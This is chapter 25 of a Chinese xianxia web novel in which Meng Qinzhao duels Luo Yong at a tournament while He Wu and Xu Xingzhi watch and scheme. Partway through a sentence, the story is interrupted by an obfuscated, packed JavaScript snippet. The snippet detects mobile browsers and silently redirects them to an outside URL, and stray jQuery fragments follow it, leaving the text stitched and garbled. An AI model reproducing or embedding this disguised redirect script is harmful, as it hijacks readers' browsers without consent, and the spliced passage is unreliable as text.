25. 第 25 章
作品:《成为反派的我毫不知情》 洛咏站在对面,看见她上来拱了拱手算是行礼,孟琴照心情复杂地回了礼,余光却是停留在一旁的贺武身上。
除了要第一个上场以外,这个抽签结果对孟琴照来说,就是最优解了。在了解比武大会的各个选手时,她已经清楚地认知到,以她现在半吊子的修行,能拼个旗鼓相当的都没有几个,而洛咏便是这几个中的一个。
身为白轩派少宗主的洛咏,比起打斗,更擅长的应该是交际和研究法器。从温尘新口中孟琴照也得到了相关消息,洛咏此前从未参加过类似于这种比武大会的大赛,这次前来的主要目的自然也不是这个。
即使温尘新没有多说什么,但是孟琴照也察觉到了洛咏似乎也是冲着贺武来的。
方才在等候中她有留神附近的人聊天的内容,从支离破碎的话语中拼凑出来的现状是,白轩派宗主前段时间生了一场大病,身体每况愈下,白轩派内部因此也有些动荡。洛咏之前一直被作为未来宗主来培养,在这样的处境中,他的地位也不太稳,现在急需一些功绩来稳定人心。
白轩派此前已经和各个门派都达成了友好的合作关系。作为一个聚集了众多顶级器修的门派,白轩派在建交方面有一种天然的优势,凭借着掌握大多数法器市场这一点,就算哪些门派之间有了冲突,也很难会将它牵连进去。
不过贺武的武临派却有些不同,贺武创办武临派之初一直坚持要全方面发展,所以门派中的人基本上都是全能型,主修一门。武临派中不缺顶尖的器修,因而白轩派所能提供的资源在贺武眼中也不够看的。
再加上在贺武闭关之前白轩派势头其实还并未起来,是最近十几年发展势头才越来越旺,所以两个门派之间交流并不算多。
洛咏这次前来八成是代替父亲来与贺武取得联系,在大会之前的候场时,他看似是雨露均沾,都聊了一些,但实际上他与武临派的人相处的时长最久。
孟琴照因着温尘新之前的话对洛咏还算有兴趣,她现在很需要什么趁手的法器用来防身,便对他多注意了几分。
这次对上洛咏是输是赢其实都不成问题,这种交手也能称得上是不打不相识,之后孟琴照还能借此和洛咏多接触接触,了解一些法器相关内容。
所以这种种因素叠加起来,洛咏便是她第一轮对手的最优选。孟琴照对自己的运气一向是不抱有什么希望,于是合理地怀疑是贺武从中做了些手脚。
而此刻这位重点怀疑对象不知何时已经到了台下在和前排的长老嘀嘀咕咕中,看样子又是指使人家去干活,入座没多久的长老再次起身,俨然成了贺武的跑腿工具人。
贺武这才转身回到台上,看向已经准备就绪的两个人,很随意地说了几句,然后让他们互相报上名讳就可以开打了。
比起启动仪式的长篇大论,贺武这番显得过于随意。不过孟琴照先前倒是不知道还有这一环节,在对面报完之后,也只是挤出了自己的名字而已。
她实在是不好意思开口谎称自己是玄彬真人的弟子,虽然按照温尘新的话说玄彬真人本人对此毫不在意,完全不会因为徒弟给他杜撰了一个弟子和一只猫而有意见,但是孟琴照觉得自己这野路子一旦露了出来,旁人应该也能看出来这是一个谎言。
在候场的地方,许行致听着孟琴照的话若有所思地摸了摸下巴,一旁的同门看出许行致对此有些在意,巴结地凑上前。
“那老东西的徒弟看着模样就知道实力不行,连师出哪里都不敢报出来,估计第一轮就得被淘汰!”
许行致没有搭理对方,连个眼神都不肯给他,紧接着目光又移到温尘新身上。温尘新很快就察觉到了他,扭过头来不带任何表情地看了许行致一眼。
许行致见状很快便回了一个一如既往的笑容,却并没有移开目光,这模样更像是一种挑衅。
他原先是因为玄彬真人的缘故才对这两人一猫一鸟的组合有了兴致,但现在看来似乎并不是这么一回事。
台上的那个看样子并非是玄彬真人的弟子,只不过是被眼前这个人顺带着谎称了身份进来了。玄彬真人近些年过于神秘,很多事情无法查证,因而他们两个人中只要有一个是有证明的就够了。
那这么说的话,她也算得上是进入武井镇的黑户了。只不过到底是什么样子的身份才会要撒下一个这么大的慌去掩盖呢?许行致思索着,顿时觉得事情越来越有趣。
孟琴照此刻在台上显然不知道自己已经被盯上了。她如果能够听到许行致心中的曲曲绕绕,一定会吐槽道哪有什么特殊身份,她只不过是一个失去记忆的黑户罢了。
或许现在也算不上是黑户了,毕竟今天刚和自己的便宜舅舅相认,勉强算作挂上了半个户口吧。
便宜舅舅此刻也完成了自己的任务,在台下最中心的位置准备欣赏这场打斗。
孟琴照看着对面的洛咏,头次站上这样的赛场,她不由得有些紧张,手心早就在互报名讳时就出了一层薄汗,此刻额头也有些渗汗。
她现在感觉比当初在地下打邪祟时还要慌张。
对面的洛咏也没有动静,台上的两个人像是在观察对方准备伺机而动一般,不约而同地定在了原地。
不管了,孟琴照一咬牙,觉得这样的处境比她输了更加尴尬,索性放出银丝就突然向着洛咏袭去。
洛咏反应迅速,当机立断判断出来银丝的袭击方向是他的腰部,立马侧身打算躲过去。谁知道孟琴照只是虚晃一枪,真正的目标是洛咏的下盘。
银丝缠上洛咏的左腿,轻轻一扯,他顿时重心不稳向前踉跄了几步。孟琴照正打算乘胜追击,洛咏便已然有了下一步动作。
他的手上不知何时已经多出了一个奇怪的法器。只见这法器体积不大,造型上非常贴合手部结构,刚拿出来就自动地附在了手背处。
孟琴照看见这玩意立即便在心中敲响了警钟,以面前这人的身份,能掏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923093|192649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来的法器肯定都是些好东西,她现在不由得打起了十二分注意力。
已经袭去的银丝在空中猛地拐了弯,极速朝着洛咏手中的法器奔去。与此同时孟琴照也在注意着洛咏的表情,以及他的另一只手上的动作,生怕对方这一招只是为了转移她的注意力,玩个调虎离山。
银丝即将要接触到洛咏时,这法器却突然亮了起来,紧接着从它的前面发射出来几枚法力凝聚的小短剑,冲着孟琴照的银丝就要飞去。
孟琴照自然是不愿意损失自己的银丝,当机立断便放开了洛咏被缠住的腿,将银丝尽数扯回。
然而那几枚短剑像是安装了定位装置一般,紧追着银丝不放,孟琴照控制着银丝绕了好几圈也没能让它们放弃,对方的速度反而越来越快了。
与此同时洛咏也没有闲着,孟琴照余光瞥见他的另一只手也有了动作,法力逐渐在手中凝聚成型,似乎下一秒就要向她袭来。
那个法器倒是没有要继续攻击的模样,大概是也有一段缓冲时期。孟琴照默默在心中飞速盘算着,紧接着猛地将银丝向下一甩,让追着的短剑全部砸在了台子上。
这台子为了比武大会特意让人使了符咒加固过,但是按照目前的状况来看,这符咒效果有点过于差了,立马被轰出了几个小洞出来,洞口处黑焦焦的一片。
孟琴照脚尖点地,轻轻一跃再操纵着银丝为脚下助力,跳跃的距离便更远了。而这时的洛咏正巧将法力球轰在了孟琴照原先的位置,台子瞬间被炸出了一个坑,木屑飞扬,还有一些已经飞到了台下。
台下的贺武漫不经心地接过空气中的木屑扭头看向身后的负责人,不需要任何言语,对方已经是冷汗直流。
这样简陋的台子本来就上不了台面,更不要说质量还如此差劲。负责人支支吾吾了半天给不出来丝毫解释,他分明记得自己在开始前再三检查过了加固符咒,都好好地贴在那里,难不成……加固符咒在库房中就被调换了吗?
这个可能性让负责人不由得打了个寒颤,本来这个场面就可能驳了贺武的面子,自己不知要如何被罚。更不要说库房那边还出了事,如果情况真的这么糟糕,他有两条命都不够谢罪。
饶是加固符咒存放的地方只不过是最不重要的那个库房,这件事情也不可能轻易带过。负责人想了想,还是将自己刚刚的一番猜测用隔空传音的方式跟贺武说了,忐忑地等待着下一步指令。
谁知贺武的反应却异常平静,只是淡淡地回复了他一个“我知道了”,就继续看起了台上的打斗,像是对这件事情早有预料一般。
这样子的态度倒是让负责人的诸多担忧显得十分愚蠢,但是他也不想去揣测贺武在想些什么,只是往后缩了缩,想要把自己的存在感降到最低。
台上的打斗已经到了白热化的阶段,孟琴照方才为了躲避洛咏的攻击跃到了空中。此时刚想下来,却不承想对方脚下一蹬,也来到了和她平齐的位置。

